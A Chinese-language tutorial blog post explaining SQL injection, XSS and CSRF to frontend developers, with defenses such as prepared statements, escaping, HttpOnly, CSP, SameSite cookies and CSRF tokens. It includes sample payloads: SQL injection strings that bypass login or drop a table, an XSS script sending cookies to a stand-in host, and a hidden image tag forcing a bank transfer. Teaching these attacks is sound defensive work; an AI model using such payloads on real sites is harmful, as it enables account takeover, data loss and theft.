跳至主要內容

Web 攻击原理与防御指南

wzCoding大约 10 分钟HttpHttp安全

Web 攻击原理与防御指南

引言 在前端日常开发中,我们往往把绝大部分精力花在了页面还原、交互优化和接口联调上。 但你有没有想过:如果有一天,你写的网站被植入了恶意广告?用户的登录密码被悄悄窃取?甚至数据库被莫名其妙地清空了?

互联网是一个黑暗森林,HTTP 协议本身是明文的、无状态的,这意味着它天生就充满了安全隐患。 今天,我们就来聊聊 Web 安全中最经典的攻防战。我们将从主动攻击被动攻击两个维度,带你揭秘黑客是如何利用 HTTP 漏洞的,以及作为前端工程师,我们该如何筑起坚不可摧的防线。


一、 Web 攻击的两大流派:主动 vs 被动

在正式介绍具体的攻击手段之前,我们需要先理清黑客攻击服务器的两种不同“姿势”:

  1. 主动攻击 (Active Attack)

    • 黑客充当“刺客”。黑客直接针对目标服务器发起攻击。
    • 他不需要借助其他人的力量,自己写脚本、发请求,试图寻找服务器代码的漏洞。
    • 代表攻击:SQL 注入 (SQLi)。
  2. 被动攻击 (Passive Attack)

    • 黑客充当“陷阱制造者”。黑客不直接攻击服务器,而是把恶意代码埋伏在网页里或链接中。
    • 当**正常用户(受害者)**访问网页或点击链接时,用户的浏览器成了黑客的“帮凶”,在不知情的情况下替黑客执行了攻击。
    • 代表攻击:跨站脚本攻击 (XSS)、跨站请求伪造 (CSRF)。

接下来,我们逐一拆解这三大最臭名昭著的 Web 攻击。


二、 主动攻击代表:SQL 注入 (SQL Injection)

【攻击目标】:后端数据库 【严重程度】:⭐⭐⭐⭐⭐(可导致拖库、删库跑路)

1. 攻击原理与场景复现

SQL 注入的本质是:后端程序对用户输入的数据盲目信任,没有进行严格过滤,直接拼接到 SQL 查询语句中执行。这导致黑客输入的恶意字符串,被数据库当成了合法的 SQL 指令。

🎬 场景复现: 假设有一个老旧的登录接口,后端的 SQL 查询逻辑是这样直接拼接字符串的:

-- 后端原本的逻辑:校验用户名和密码是否匹配
SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码'

此时,黑客在前端的“用户名”输入框里,输入了这样一串诡异的字符: admin' -- (注意后面的空格)

后端收到后一拼接,发给数据库的 SQL 语句就变成了这样:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = '...'

💥 致命一击:在 SQL 语言中,-- 表示注释!这就意味着,后面的密码校验逻辑被直接注释作废了。只要数据库里存在 admin 这个账号,黑客不需要密码就能直接以管理员身份登录系统! 更恐怖的是,黑客甚至可以在输入框里写 '; DROP TABLE users; -- 来直接清空你的数据库。

2. 终极防御措施

防御 SQL 注入主要是后端的责任,但前端也需要了解。

  • 后端防御核心:参数化查询(预编译语句 Prepared Statements) 这是目前最有效的防御手段。现代后端的 ORM 框架(如 MyBatis, Prisma)默认都采用了这种方式。它在执行 SQL 前,会先对 SQL 模板进行编译,然后再把用户的输入严格当作“普通字符串数据”填入,数据库绝不会把它当成可执行的指令。
  • 前端辅助防御:基础校验与拦截 在表单提交前,使用正则限制输入格式(如用户名只能包含字母和数字),拦截明显的非法符号(如单引号、分号)。虽然前端校验防君子不防小人(黑客抓包修改就能绕过),但可以有效减轻服务器应对低级注入的压力。

三、 被动攻击代表一:跨站脚本攻击 (XSS)

【攻击目标】:前端用户(浏览器) 【严重程度】:⭐⭐⭐⭐(可窃取 Cookie、伪造操作、植入广告)

1. 攻击原理与场景复现

XSS (Cross-Site Scripting) 的本质同样是“对用户输入的过度信任”。黑客想尽办法把一段恶意的 JavaScript 代码植入到目标网页的 HTML 中。当其他正常用户打开这个网页时,浏览器会把这段恶意代码当作正常的页面逻辑来执行。

🎬 场景复现(存储型 XSS): 这是危害最大的一种 XSS。

  1. 黑客在一个论坛的评论区留言:这篇文章写得真好!<script>fetch('http://hacker.com/steal?cookie=' + document.cookie)</script>
  2. 论坛后端没有过滤这段文本,直接存入了数据库
  3. 第二天,你满怀期待地点开了这篇文章。你的浏览器从数据库拉取了评论并渲染到页面上。
  4. 💥 致命一击:你的浏览器执行了那段隐藏的 <script> 标签!你保存在本地的登录 Cookie 被悄悄发送到了黑客的服务器上。黑客拿着你的 Cookie,瞬间获取了你的账号控制权。

2. 终极防御措施(前端重中之重)

  • 法则一:永远不要信任用户的输入(转义/过滤)
    • 所有要插入到 HTML 中的数据,必须进行转义。把 < 变成 &lt;,把 > 变成 &gt;
    • 好消息:现代前端框架(Vue, React)在使用 {{}}{} 渲染文本时,默认已经做了防 XSS 转义
    • 严厉警告:绝对要慎用 Vue 的 v-html 和 React 的 dangerouslySetInnerHTML。如果业务确实需要渲染富文本,必须先用 DOMPurify 等净化库对数据进行彻底消毒。
  • 法则二:保护敏感 Cookie (HttpOnly)
    • 后端在设置敏感 Cookie(如登录凭证 token)时,务必加上 HttpOnly 属性。
    • 这样一来,即使网页不幸中了 XSS 攻击,恶意的 JS 代码也绝对无法通过 document.cookie 读取到这个关键的 Cookie。
  • 法则三:开启 CSP (内容安全策略)
    • 通过配置 HTTP 响应头 Content-Security-Policy 建立白名单。比如规定浏览器只能加载特定域名的 JS 文件,并且彻底禁止执行内联的 <script> 代码。

四、 被动攻击代表二:跨站请求伪造 (CSRF)

【攻击目标】:利用用户的身份执行恶意操作 【严重程度】:⭐⭐⭐⭐(可导致资金被盗、信息被恶意修改)

1. 攻击原理与场景复现

CSRF (Cross-Site Request Forgery) 的本质是:利用浏览器在发起请求时,会自动携带目标域名下 Cookie 的机制。黑客盗用了你的身份(Cookie),以你的名义向网站发送恶意的合法请求。

一句话区分 XSS 和 CSRF:

  • XSS 是黑客拿到了你的钥匙(Cookie),进你家偷东西。
  • CSRF 是黑客没拿到钥匙,但是他骗你走到了家门口,借你的手把门打开了。

🎬 场景复现:

  1. 你登录了银行网站 bank.com,浏览器保存了你的登录 Cookie,并且你没有退出登录。
  2. 你在浏览其他网页时,不小心点开了一个黑客发给你的美女图片链接,进入了黑客控制的网站 hacker.com
  3. 黑客的网站里藏了一行极其隐蔽的 HTML 代码: <img src="http://bank.com/transfer?to=HackerAccount&money=10000" style="display:none;">
  4. 💥 致命一击:你的浏览器在尝试加载这张“图片”时,会向 bank.com 发起一个 GET 请求。最要命的是,浏览器会自动带上你在 bank.com 的登录 Cookie!
  5. 银行服务器收到请求,验证 Cookie 没问题,以为是你本人在操作,10000 块钱瞬间被转走了。

2. 终极防御措施

防御 CSRF 的核心思路是:确认这个请求真的是用户在自家网站主动发起的,而不是被第三方网站骗着发起的。

  • 终极武器:SameSite Cookie 属性(现代浏览器的首选)
    • 后端种 Cookie 时,加上 SameSite=StrictLax 属性。
    • 这等于告诉浏览器:“只有当前网址和我 Cookie 归属的域名一样时,才带上这个 Cookie。如果是第三方网站(比如 hacker.com)跨域发起的请求,绝对不准带我的 Cookie!” 这直接从物理层面上杀死了 CSRF。
  • 经典防线:CSRF Token
    • 用户登录后,服务器生成一个随机的 Token 返回给前端。
    • 前端以后每次发请求(表单提交或 AJAX),都要把这个 Token 放在请求头(Headers)或者请求体里,千万不能放在 Cookie 里
    • 因为黑客只能利用浏览器自动带 Cookie 的机制,但他无法得知你页面里的随机 Token,所以他伪造的请求会被服务器直接拒绝。
  • 验证 Referer 和 Origin 头
    • 后端严格检查 HTTP 请求头中的 OriginReferer。如果发现这个转账请求是从 hacker.com 发过来的,而不是从自家 bank.com 发过来的,直接拉黑拦截。

nb

五、🛡️ Web 核心安全漏洞对比总结表

攻击类型攻击维度攻击原理是否需要窃取Cookie核心防御手段
SQL 注入
(SQLi)
主动攻击
(目标: 数据库)
后端对用户输入盲目信任,未做严格过滤,导致恶意字符串拼接入 SQL 语句并被数据库当做指令执行。❌ 不需要
(直接攻击后端)
1. 后端:使用参数化查询(预编译语句 Prepared Statements),绝不手动拼接 SQL 字符串。
2. 前端:严格表单校验,过滤危险符号(防君子不防小人)。
跨站脚本攻击
(XSS)
被动攻击
(目标: 浏览器)
黑客将恶意 JavaScript 代码植入目标网页,利用浏览器对网页内容的信任,窃取受害者信息或伪造操作。✅ 通常需要
(目的是偷走 Cookie)
1. 永远不要信任用户输入:对插入 HTML 的数据必须转义(Vue/React 默认已做,慎用 v-html,必要时用 DOMPurify 消毒)。
2. 保护敏感 Cookie:设置 HttpOnly 属性,彻底斩断 JS 读取 Cookie 的途径。
3. 开启 CSP:设置内容安全策略白名单。
跨站请求伪造
(CSRF)
被动攻击
(目标: 利用用户身份)
黑客诱骗受害者访问恶意网站,利用浏览器自动携带目标域名 Cookie 的机制,冒充受害者发送合法但恶意的请求。❌ 不需要窃取
(只是借用你的 Cookie 发请求)
1. 终极防御:SameSite 属性:给敏感 Cookie 设置 SameSite=Strict/Lax,禁止第三方跨域请求携带。
2. 经典防线:CSRF Token:在请求头/请求体中加入随机 Token,证明请求确实来自自家网页。
3. 二次验证:敏感操作(如转账/修改密码)要求输入验证码或人脸识别。

结语 Web 安全是一场永无止境的攻防战。作为前端工程师,我们不仅是页面交互的构建者,更是保卫用户数据安全的第一道防线。

请时刻在脑海中拉响这三条警报:

  1. v-html 时,默念三遍:“绝对不能相信用户的输入,记得加 DOMPurify!”
  2. 调试登录接口时,看看 Response Headers:“后端给 Cookie 加 HttpOnly 和 SameSite 了吗?”
  3. 做重要业务(如支付、转账)时,问问架构师:“我们的接口有 CSRF Token 或二次验证吗?”

掌握了这些黑客防身术,你写出的代码将不仅优雅,更坚如磐石!